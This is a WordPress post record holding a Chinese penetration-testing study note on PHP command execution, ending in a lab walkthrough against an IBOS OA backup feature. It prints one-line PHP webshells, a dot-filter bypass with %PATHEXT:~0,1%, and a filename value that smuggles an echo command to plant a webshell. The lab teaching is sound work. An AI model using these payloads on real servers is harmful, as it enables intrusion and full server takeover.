{"id":390,"date":"2022-01-21T00:39:41","date_gmt":"2022-01-20T16:39:41","guid":{"rendered":"https:\/\/www.langsasec.cn\/?p=390"},"modified":"2022-11-16T21:12:52","modified_gmt":"2022-11-16T13:12:52","slug":"rce2","status":"publish","type":"post","link":"https:\/\/blog.langsasec.cn\/index.php\/2022\/01\/21\/rce2\/","title":{"rendered":"RCE(Remote Command Execution)\u547d\u4ee4\u6267\u884c"},"content":{"rendered":"

<\/span>\u4ec0\u4e48\u662f\u547d\u4ee4\u6267\u884c<\/span><\/h3>\n

\u7528\u6237\u8f93\u5165\u7684\u6570\u636e\u88ab\u5f53\u505a\u7cfb\u7edf\u547d\u4ee4\u8fdb\u884c\u6267\u884c<\/p>\n

\u547d\u4ee4\u6267\u884c\u7684\u4e00\u53e5\u8bdd\u6728\u9a6c<\/p>\n

<?php system('whoami')?><\/code><\/pre>\n
\n
RCE\u4ee3\u7801\u6267\u884c\u8bb2\u8fc7\u4ee3\u7801\u6267\u884c\u548c\u547d\u4ee4\u6267\u884c\u7684\u533a\u522b\uff0c\u672c\u6b21\u7740\u91cd\u9610\u8ff0\u547d\u4ee4\u6267\u884c\u7684\u7ec6\u8282\u3002\u800c\u4e14\u4ee3\u7801\u6267\u884c\u7684\u60c5\u51b5\u4e0b\uff0c\u53ef\u4ee5\u8c03\u7528\u547d\u4ee4\u6267\u884c\u7684\u51fd\u6570\uff0c\u6240\u4ee5\u5927\u90e8\u5206\u4ee3\u7801\u6267\u884c\u90fd\u53ef\u4ee5\u8c03\u7528\u7cfb\u7edf\u547d\u4ee4\u3002<\/em><\/p>\n
linux\u547d\u4ee4\uff1aBash<\/p>\n
windows\u547d\u4ee4\uff1acmd<\/p>\n
\u5355\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4<\/p>\n
\n
<\/span>\u547d\u4ee4\u6267\u884c\u7684\u5c0f\u77e5\u8bc6<\/span><\/h3>\n
1.\u901a\u8fc7\u547d\u4ee4\u6765\u5199\u6587\u4ef6\u7684\u64cd\u4f5c\uff0c\u5c06\u4e00\u53e5\u8bdd\u6728\u9a6c\u5199\u5230\u6587\u4ef61.php\u4e2d\u53bb\u3002<\/p>\n
echo \u201c<?php @eval($_REQUEST[8])?>\u201d >1.php<\/code><\/pre>\n
2.\u5355\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4\u7528&\u6216\u8005&&<\/p>\n
eg\uff1awhoami&ipconfig<\/p>\n
\n
shell\u5b66\u4e60\u7b14\u8bb0\uff081\uff09Linux\u4e0b\u5728\u4e00\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4<\/a><\/p>\n
\u8981\u5b9e\u73b0\u5728\u4e00\u884c\u6267\u884c\u591a\u6761Linux\u547d\u4ee4\uff0c\u5206\u4e09\u79cd\u60c5\u51b5\uff1a<\/p>\n
1\u3001&&<\/p>\n
\u4e3e\u4f8b\uff1a<\/p>\n
lpr \/tmp\/t2 && rm \/tmp\/t2<\/code><\/pre>\n
\u7b2c2\u6761\u547d\u4ee4\u53ea\u6709\u5728\u7b2c1\u6761\u547d\u4ee4\u6210\u529f\u6267\u884c\u4e4b\u540e\u624d\u6267\u884c\u3002\u5f53&&\u524d\u7684\u547d\u4ee4\u201clpr \/tmp\/t2\u201d\u6210\u529f\u6267\u884c\u540e"rm \/tmp\/t2"\u624d\u6267\u884c\uff0c\u6839\u636e\u547d\u4ee4\u4ea7\u751f\u7684\u9000\u51fa\u7801\u5224\u65ad\u662f\u5426\u6267\u884c\u6210\u529f\uff080\u6210\u529f\uff0c\u975e0\u5931\u8d25\uff09\u3002<\/p>\n
2\u3001||<\/p>\n
\u4e3e\u4f8b\uff1a<\/p>\n
cp \/tmp\/t2 \/tmp\/t2.bak || rm \/tmp\/t2<\/code><\/pre>\n
\u53ea\u6709||\u524d\u7684\u547d\u4ee4\u201ccp \/tmp\/t2 \/tmp\/t2.bak\u201d\u6267\u884c\u4e0d\u6210\u529f\uff08\u4ea7\u751f\u4e86\u4e00\u4e2a\u975e0\u7684\u9000\u51fa\u7801\uff09\u65f6\uff0c\u624d\u6267\u884c\u540e\u9762\u7684\u547d\u4ee4\u3002<\/p>\n
3\u3001;<\/p>\n
\u4e3e\u4f8b\uff1a<\/p>\n
cp \/tmp\/t2 \/tmp\/t2.bak; echo "hello world"<\/code><\/pre>\n
\u987a\u5e8f\u6267\u884c\u591a\u6761\u547d\u4ee4\uff0c\u5f53;\u53f7\u524d\u7684\u547d\u4ee4\u6267\u884c\u5b8c\uff08\u4e0d\u7ba1\u662f\u5426\u6267\u884c\u6210\u529f\uff09\uff0c\u624d\u6267\u884c;\u540e\u7684\u547d\u4ee4\u3002<\/p>\n
\n
<\/span>\u5e38\u89c1\u9020\u6210\u547d\u4ee4\u6267\u884c\u7684PHP\u51fd\u6570<\/span><\/h3>\n
<\/span>system()<\/span><\/h4>\n
    \n
  • PHP\u4f1a\u64cd\u7eb5\u8ba1\u7b97\u673a\u6267\u884c\u547d\u4ee4,\u4e14\u8f93\u51fa\u5e76\u8fd4\u56de\u7ed3\u679c\u3002<\/li>\n
  • \u65e0\u9700\u8f93\u51fa\uff0c\u81ea\u52a8\u8fd4\u56de\u7ed3\u679c\u3002<\/li>\n
  • \u5141\u8bb8\u5355\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4\u3002\u5f53\u5355\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4\u65f6\uff0c\u524d\u9762\u7684\u547d\u4ee4\u51fa\u9519\uff0c\u540e\u9762\u5219\u4e0d\u4f1a\u6267\u884c\u3002<\/li>\n<\/ul>\n
    <\/span>exec()<\/span><\/h4>\n
      \n
    • PHP\u4f1a\u53bb\u64cd\u7eb5\u8ba1\u7b97\u673a\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u83b7\u53d6\u6700\u540e\u4e00\u884c\u3002<\/li>\n
    • \u65e0\u56de\u663e\uff0c\u9700\u8981\u8f93\u51fa\uff08echo\uff09\u3002<\/li>\n
    • \u5141\u8bb8\u5355\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4\u3002\u5f53\u5355\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4\u65f6\uff0c\u524d\u9762\u7684\u547d\u4ee4\u51fa\u9519\uff0c\u540e\u9762\u5219\u4e0d\u4f1a\u6267\u884c\u3002<\/li>\n<\/ul>\n
      <\/span>shell_exec()<\/span><\/h4>\n
        \n
      • \n
        PHP\u4f1a\u53bb\u64cd\u7eb5\u8ba1\u7b97\u673a\u6267\u884c\u7cfb\u7edf\u547d\u4ee4,\u4e14\u83b7\u53d6\u6240\u6709\u6570\u636e\u3002\uff08exec\u5347\u7ea7\u7248\uff09<\/p>\n<\/li>\n
      • \n
        \u65e0\u56de\u663e\uff0c\u9700\u8981\u8f93\u51fa\uff08echo\uff09\u3002<\/p>\n<\/li>\n
      • \n
        \u5141\u8bb8\u5355\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4\u3002\u5f53\u5355\u884c\u6267\u884c\u591a\u6761\u547d\u4ee4\u65f6\uff0c\u524d\u9762\u7684\u547d\u4ee4\u51fa\u9519\uff0c\u540e\u9762\u5219\u4e0d\u4f1a\u6267\u884c\u3002<\/p>\n<\/li>\n
      • \n
        \u53ef\u4ee5\u7b80\u5199\u4e3a\u4e24\u4e2a\u53cd\u5f15\u53f7<\/p>\n
        eg\uff1a<\/p>\n
        whoami<\/code>  \u7b49\u4ef7\u4e8e shell_exec('whoami')<\/code><\/pre>\n<\/li>\n<\/ul>\n
        <\/span>passthru()<\/span><\/h4>\n
          \n
        • \u5728\u6e17\u900f\u6d4b\u8bd5\u4e2d\uff0c\u51e0\u4e4e\u4e0esystem\u7279\u70b9\u4e00\u6837<\/li>\n<\/ul>\n
          <\/span>popen(\u547d\u4ee4,\u53c2\u6570)<\/span><\/h4>\n
            \n
          • \n
            \u53c2\u6570 r:\u53ea\u8bfb\u3002w:\u5199\u5165\u3002<\/p>\n<\/li>\n
          • \n
            eg:<\/p>\n
            $a = popen('whoami','r');\necho foread($a,1024)\n\/\/\u8fd4\u56de\u4e00\u4e2a\u6587\u4ef6\u6307\u9488\uff0c\u9700\u8981\u7528fread\u53bb\u8bfb\u53d6\u8fd4\u56de\u503c\u3002<\/code><\/pre>\n<\/li>\n<\/ul>\n
            <\/span>\u9776\u573a\u5b9e\u6218<\/span><\/h3>\n
            \n
            \u9776\u573a\u6240\u9700\u5c0f\u77e5\u8bc6\uff1a<\/strong><\/p>\n
            \u2460windows\u4e0b\u73af\u5883\u4e0b\u70b9(.)\u88ab\u8fc7\u6ee4\uff0c\u53ef\u4ee5\u7528%pathext:~0,1%\u4ee3\u66ff\u3002<\/p>\n
            \u8fd9\u662f\u56e0\u4e3awindows\u9ed8\u8ba4\u73af\u5883\u53d8\u91cf\u4e2d\u81ea\u5e26\u70b9\uff0c\u901a\u8fc7\u7279\u6b8a\u65b9\u6cd5\u5c06\u5176\u5207\u5272\u51fa\u6765\uff0c\u5e76\u5229\u7528\u3002<\/p>\n
            \"image-20220120175601432\"<\/p>\n
            \u53c2\u8003\uff1a\u547d\u4ee4\u6267\u884c\u7ed5\u8fc7https:\/\/bbs.zkaq.cn\/t\/4557.html<\/p>\n
            \u2461mysqldump \u662f MySQL \u81ea\u5e26\u7684\u903b\u8f91\u5907\u4efd\u5de5\u5177<\/p>\n
            mysqldump [\u9009\u9879] \u6570\u636e\u5e93\u540d [\u8868\u540d] > \u5907\u4efd\u811a\u672c\u540d
            \neg\uff1amysqldump -uroot -proot --all-databases > all.sql<\/p>\n
            \n
            \u9776\u573a\u662fIBOS OA\u7cfb\u7edf\uff0c\u4e0b\u9762\u76f4\u63a5\u8fdb\u884c\u4ee3\u7801\u5ba1\u8ba1<\/p>\n
            1.\u5728\u5168\u5c40\u641c\u7d22\u4e2d\u627e\u5230\u4e24\u5904\u4f7f\u7528shell_exec()\u51fd\u6570\u7684\u5730\u65b9<\/p>\n
            \"image-20220120235218759\"<\/p>\n
            2.\u7b2c\u4e00\u5904\u7684\u53ef\u63a7\u53c2\u6570\u8c8c\u4f3c\u5229\u7528\u4e0d\u4e86<\/p>\n
            \"image-20220120235820578\"<\/p>\n
            \"image-20220120235857323\"<\/p>\n
            3.\u7b2c\u4e8c\u4e2a\u7684dumpFile\u662f\u7531backupFileName\u51b3\u5b9a\"image-20220121000042444\"<\/p>\n
            \"image-20220121000134482\"<\/p>\n
            4.backupFileName\u7531filename\u51b3\u5b9a\uff0c\u5e76\u4e14\u8fc7\u6ee4\u4e86\/\uff0c\\\\\uff0c.\uff0c'<\/code>\u3002filename\u7531REQUEST\u4f20\u53c2\u6240\u51b3\u5b9a\"image-20220121000353829\"<\/p>\n
            \"image-20220121000601288\"<\/p>\n
            5.\u8fdb\u5165\u9776\u573a\u627e\u5230\u5907\u4efd\u6570\u636e\u5e93\u7684\u529f\u80fd\u6a21\u5757\u3002<\/p>\n
            \"image-20220121001039581\"<\/p>\n
            6.\u6293\u5305\u770b\u4e0b\u5177\u4f53\u4f20\u53c2\uff0c\u901a\u8fc7\u6784\u9020\u547d\u4ee4\u62fc\u63a5\uff0c\u751f\u6210\u6587\u4ef6\u7684\u540c\u65f6\u5199\u5165\u6728\u9a6c\uff0c\u4ece\u800c\u63a7\u5236\u670d\u52a1\u5668\u3002<\/p>\n
            \"image-20220121001457090\"<\/p>\n
            7.\u7531\u4e8e\u8fc7\u6ee4\u70b9\uff08.\uff09,\u8fd9\u65f6\u5019\u5c0f\u77e5\u8bc6\u5c31\u6d3e\u4e0a\u7528\u573a\u4e86,\u5c06\u5176\u66ff\u6362\u4e3a%PATHEXT:~0,1%<\/p>\n
            &\u7b26\u53f7\u5728\u6570\u636e\u5305\u4f1a\u88ab\u8ba4\u4e3a\u662f\u53c2\u6570\u5206\u9694\u7b26\uff0c\u6240\u4ee5\u9700\u8981url\u7f16\u7801\uff0c\u6784\u9020exp\u5982\u4e0b:<\/p>\n
            filename=219911%26echo+"<?php eval($_REQUEST[8])?>">langsa%PATHEXT:~0,1%php%26langsa<\/code><\/pre>\n
            8.\u6293\u5305\uff0c\u6539\u5305\uff0c\u6267\u884c\u3002<\/p>\n
            \"image-20220121002146885\"<\/p>\n
            9.\u6728\u9a6c\u5199\u5165\u6210\u529f\uff0c\u670d\u52a1\u5668\u5230\u624b\u3002<\/p>\n
            \"image-20220121002559221\"<\/p>\n","protected":false},"excerpt":{"rendered":"
            \u4ec0\u4e48\u662f\u547d\u4ee4\u6267\u884c \u7528\u6237\u8f93\u5165\u7684\u6570\u636e\u88ab\u5f53\u505a\u7cfb\u7edf\u547d\u4ee4\u8fdb\u884c\u6267\u884c \u547d\u4ee4\u6267\u884c\u7684\u4e00\u53e5\u8bdd\u6728\u9a6c <?php system(& […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,19],"tags":[],"class_list":["post-390","post","type-post","status-publish","format-standard","hentry","category-webpt-studynote","category-penetration-test"],"_links":{"self":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/390","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/comments?post=390"}],"version-history":[{"count":5,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/390\/revisions"}],"predecessor-version":[{"id":1088,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/390\/revisions\/1088"}],"wp:attachment":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/media?parent=390"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/categories?post=390"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/tags?post=390"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}